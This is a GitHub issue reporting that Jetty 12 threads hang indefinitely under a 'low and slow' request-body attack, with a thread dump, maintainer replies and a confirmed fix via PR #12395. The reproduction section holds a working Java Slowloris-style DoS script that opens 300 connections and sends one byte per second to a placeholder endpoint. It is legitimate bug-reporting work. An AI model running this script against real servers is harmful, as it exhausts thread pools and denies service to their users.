Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Jump to bottom

Jetty threads stuck on BlockingContentProvider.nextContent #12434

Open
kgrits opened this issue Oct 29, 2024 · 5 comments
Open

Jetty threads stuck on BlockingContentProvider.nextContent #12434

kgrits opened this issue Oct 29, 2024 · 5 comments
Labels
Bug For general bugs on Jetty side

Comments

@kgrits
Copy link

kgrits commented Oct 29, 2024

Jetty version(s)
12.0.13

Jetty Environment
ee8

Java version/vendor
21.0.4.7.1/AWS (Corretto)

OS type/version
Ubuntu/22.04

Description
After migrating our application from Jetty 9.4 to 12, we've encountered an issue with hung Jetty threadpool threads. We're not using virtual threads, and we've ensured no queue limit is set as per the documentation.

The problem manifests as Jetty becoming unresponsive, requiring pod recycling to resolve. While the exact trigger is unknown, it may be related to cloud provider network issues or sudden traffic surges.

Thread dumps from affected instances reveal most threads in a WAITING state on HttpInput.read(), specifically blocked on BlockingContentProvider.nextContent() when attempting to read request bodies. Here is a similar issue.

We successfully replicated this state using a "low and slow" DoS attack, establishing connections to the Jetty instance and sending data at an extremely slow rate (1 byte per second). In Jetty 9.4, threads recover once the attack stops, but in Jetty 12, they remain stuck indefinitely, necessitating an application restart. This behavior suggests a potential regression introduced between versions 9.4 and 12.

Our investigation led us to the undocumented minRequestDataRate property. Setting it to 50 prevented the issue in our test environment. However, this configuration may be unreliable due to potential JIT and GC pauses affecting legitimate connections.

While the test environment issue and production problem seem to share an underlying cause, we cannot confirm that the same "low and slow" scenario occurs in production. Consequently, we're uncertain if applying the minRequestDataRate setting will resolve the issue in our production environment.

We seek guidance on identifying the root cause of this behavior change between Jetty versions and determining an appropriate solution.

Jetty server dump - jetty_dump.txt

An example of a stuck thread (from thread dump):

"qtp1411865437-64" #64 [100] prio=5 os_prio=0 cpu=6877.47ms elapsed=806.24s allocated=1370M defined_classes=14 tid=0x0000ffff818198e0 nid=100 waiting on condition  [0x0000ffff4a21f000]
   java.lang.Thread.State: WAITING (parking)
	at jdk.internal.misc.Unsafe.park(java.base@21.0.4/Native Method)
	- parking to wait for  <0x00000006121a5f20> (a java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject)
	at java.util.concurrent.locks.LockSupport.park(java.base@21.0.4/LockSupport.java:371)
	at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(java.base@21.0.4/AbstractQueuedSynchronizer.java:519)
	at java.util.concurrent.ForkJoinPool.unmanagedBlock(java.base@21.0.4/ForkJoinPool.java:3780)
	at java.util.concurrent.ForkJoinPool.managedBlock(java.base@21.0.4/ForkJoinPool.java:3725)
	at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(java.base@21.0.4/AbstractQueuedSynchronizer.java:1707)
	at org.eclipse.jetty.ee8.nested.AsyncContentProducer$LockedSemaphore.acquire(AsyncContentProducer.java:443)
	at org.eclipse.jetty.ee8.nested.BlockingContentProducer.nextContent(BlockingContentProducer.java:106)
	at org.eclipse.jetty.ee8.nested.HttpInput.read(HttpInput.java:256)
	at org.eclipse.jetty.ee8.nested.HttpInput.read(HttpInput.java:242)
	at org.eclipse.jetty.ee8.nested.HttpInput.read(HttpInput.java:233)
	at org.glassfish.jersey.message.internal.EntityInputStream.isEmpty(EntityInputStream.java:177)
	at org.glassfish.jersey.message.internal.InboundMessageContext.hasEntity(InboundMessageContext.java:564)
	at com.company.common.jaxrsprovider.logging.CaptureFilter.filter(CaptureFilter.java:113)
	at org.glassfish.jersey.server.ContainerFilteringStage.apply(ContainerFilteringStage.java:108)
	at org.glassfish.jersey.server.ContainerFilteringStage.apply(ContainerFilteringStage.java:44)
	at org.glassfish.jersey.process.internal.Stages.process(Stages.java:173)
	at org.glassfish.jersey.server.ServerRuntime$1.run(ServerRuntime.java:248)
	at org.glassfish.jersey.internal.Errors$1.call(Errors.java:248)
	at org.glassfish.jersey.internal.Errors$1.call(Errors.java:244)
	at org.glassfish.jersey.internal.Errors.process(Errors.java:292)
	at org.glassfish.jersey.internal.Errors.process(Errors.java:274)
	at org.glassfish.jersey.internal.Errors.process(Errors.java:244)
	at org.glassfish.jersey.process.internal.RequestScope.runInScope(RequestScope.java:265)
	at org.glassfish.jersey.server.ServerRuntime.process(ServerRuntime.java:235)
	at org.glassfish.jersey.server.ApplicationHandler.handle(ApplicationHandler.java:684)
	at org.glassfish.jersey.servlet.WebComponent.serviceImpl(WebComponent.java:394)
	at org.glassfish.jersey.servlet.WebComponent.service(WebComponent.java:346)
	at org.glassfish.jersey.servlet.ServletContainer.service(ServletContainer.java:359)
	at org.glassfish.jersey.servlet.ServletContainer.service(ServletContainer.java:312)
	at org.glassfish.jersey.servlet.ServletContainer.service(ServletContainer.java:205)
	at org.eclipse.jetty.ee8.servlet.ServletHolder$NotAsync.service(ServletHolder.java:1146)
	at org.eclipse.jetty.ee8.servlet.ServletHolder.handle(ServletHolder.java:640)
	at org.eclipse.jetty.ee8.servlet.ServletHandler.doHandle(ServletHandler.java:456)
	at org.eclipse.jetty.ee8.nested.ScopedHandler.handle(ScopedHandler.java:119)
	at org.eclipse.jetty.ee8.security.SecurityHandler.handle(SecurityHandler.java:497)
	at org.eclipse.jetty.ee8.nested.HandlerWrapper.handle(HandlerWrapper.java:108)
	at org.eclipse.jetty.ee8.nested.ScopedHandler.nextHandle(ScopedHandler.java:183)
	at org.eclipse.jetty.ee8.nested.SessionHandler.doHandle(SessionHandler.java:516)
	at org.eclipse.jetty.ee8.nested.ScopedHandler.nextHandle(ScopedHandler.java:181)
	at org.eclipse.jetty.ee8.nested.ContextHandler.doHandle(ContextHandler.java:879)
	at org.eclipse.jetty.ee8.nested.ScopedHandler.nextScope(ScopedHandler.java:152)
	at org.eclipse.jetty.ee8.servlet.ServletHandler.doScope(ServletHandler.java:423)
	at org.eclipse.jetty.ee8.nested.ScopedHandler.nextScope(ScopedHandler.java:150)
	at org.eclipse.jetty.ee8.nested.SessionHandler.doScope(SessionHandler.java:500)
	at org.eclipse.jetty.ee8.nested.ScopedHandler.nextScope(ScopedHandler.java:150)
	at org.eclipse.jetty.ee8.nested.ContextHandler.doScope(ContextHandler.java:824)
	at org.eclipse.jetty.ee8.nested.ScopedHandler.handle(ScopedHandler.java:117)
	at org.eclipse.jetty.ee8.nested.ContextHandler.handle(ContextHandler.java:1422)
	at org.eclipse.jetty.ee8.nested.HttpChannel$RequestDispatchable.dispatch(HttpChannel.java:1294)
	at org.eclipse.jetty.ee8.nested.HttpChannel.dispatch(HttpChannel.java:624)
	at org.eclipse.jetty.ee8.nested.HttpChannel.handle(HttpChannel.java:456)
	at org.eclipse.jetty.ee8.nested.ContextHandler$CoreContextHandler$CoreToNestedHandler.handle(ContextHandler.java:2375)
	at org.eclipse.jetty.server.handler.ContextHandler.handle(ContextHandler.java:1060)
	at org.eclipse.jetty.server.handler.ContextHandlerCollection.handle(ContextHandlerCollection.java:151)
	at org.eclipse.jetty.server.handler.gzip.GzipHandler.handle(GzipHandler.java:597)
	at org.eclipse.jetty.server.Handler$Wrapper.handle(Handler.java:740)
	at org.eclipse.jetty.server.handler.EventsHandler.handle(EventsHandler.java:81)
	at org.eclipse.jetty.server.Server.handle(Server.java:181)
	at org.eclipse.jetty.server.internal.HttpChannelState$HandlerInvoker.run(HttpChannelState.java:661)
	at org.eclipse.jetty.server.internal.HttpConnection.onFillable(HttpConnection.java:406)
	at org.eclipse.jetty.io.AbstractConnection$ReadCallback.succeeded(AbstractConnection.java:322)
	at org.eclipse.jetty.io.FillInterest.fillable(FillInterest.java:99)
	at org.eclipse.jetty.io.SelectableChannelEndPoint$1.run(SelectableChannelEndPoint.java:53)
	at org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.runTask(AdaptiveExecutionStrategy.java:478)
	at org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.consumeTask(AdaptiveExecutionStrategy.java:441)
	at org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.tryProduce(AdaptiveExecutionStrategy.java:293)
	at org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.run(AdaptiveExecutionStrategy.java:201)
	at org.eclipse.jetty.util.thread.ReservedThreadExecutor$ReservedThread.run(ReservedThreadExecutor.java:311)
	at org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:979)
	at org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.doRunJob(QueuedThreadPool.java:1209)
	at org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.run(QueuedThreadPool.java:1164)
	at java.lang.Thread.runWith(java.base@21.0.4/Thread.java:1596)
	at java.lang.Thread.run(java.base@21.0.4/Thread.java:1583)

   Locked ownable synchronizers:
	- None

How to reproduce?
Use “low and slow” DoS attack against a Jetty-based application where the number of concurrent requests > jetty.threadPool.maxThreads. Here is a sample Java code:

import java.io.OutputStream;
import java.net.HttpURLConnection;
import java.net.URL;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;

public class Test {

    private static final int NUM_REQUESTS = 300;
    private static final String TARGET_URL = "https://your-endpoint";
    private static final String CONTENT_TYPE = "application/json";
    private static final String PAYLOAD = """
            {
              "object": {
                "field1": 1,
                "field2": 2,
                "field3": 3,
                "field4": 4,
                "field5": 5,
                "field6": 6,
                "field7": 7
              }
            }
            """;

    public static void main(String[] args) {
        ExecutorService executor = Executors.newFixedThreadPool(NUM_REQUESTS);

        for (int i = 0; i < NUM_REQUESTS; i++) {
            executor.execute(() -> send());
        }

        executor.shutdown();
    }

    private static void send() {
        try {
            URL url = new URL(TARGET_URL);
            HttpURLConnection connection = (HttpURLConnection) url.openConnection();

            connection.setRequestMethod("POST");
            connection.setDoOutput(true);
            connection.setRequestProperty("Content-Type", CONTENT_TYPE);
            connection.setRequestProperty("Content-Length", String.valueOf(PAYLOAD.length()));
            connection.setRequestProperty("Connection", "keep-alive");

            connection.setFixedLengthStreamingMode(PAYLOAD.length());
            OutputStream outputStream = connection.getOutputStream();

            for (byte b: PAYLOAD.getBytes()) {
                outputStream.write(b);
                outputStream.flush();
                Thread.sleep(1000);
            }

            outputStream.close();

            int responseCode = connection.getResponseCode();
            System.out.println("Response Code: " + responseCode);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
@kgrits kgrits added the Bug For general bugs on Jetty side label Oct 29, 2024
@joakime
Copy link
Contributor

joakime commented Oct 29, 2024

Do you have a complete project for this?
The specific version of Jersey you are using will have an impact. (they have been fixing their code for this issue for a while now).

@kgrits
Copy link
Author

kgrits commented Oct 29, 2024 •
edited
Loading

Do you have a complete project for this? The specific version of Jersey you are using will have an impact. (they have been fixing their code for this issue for a while now).

Yes, that's happening with one of our services. We are using Jersey 2.43. We did upgrade it from 2.39 when we moved to Jetty 12.

@sbordet
Copy link
Contributor

sbordet commented Oct 29, 2024

@kgrits are you able to try a custom build of Jetty against your use case?
If so, please try #12395 and let us know.

@kgrits
Copy link
Author

kgrits commented Oct 30, 2024

Hey @sbordet! I tested the custom build based on #12395 and can confirm that it's on par with Jetty 9.4: threads are getting stuck, but as soon as the "attack" ends, everything returns to normal.

@sbordet
Copy link
Contributor

sbordet commented Oct 30, 2024

@kgrits thanks for the feedback.

If I understand correctly, #12395 would fix the issue.

We are planning to include this PR in the next Jetty 12 release, due in the next few days.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Assignees
No one assigned
Labels
Bug For general bugs on Jetty side
Projects
None yet
Milestone
No milestone
Development

No branches or pull requests
3 participants
@joakime @sbordet @kgrits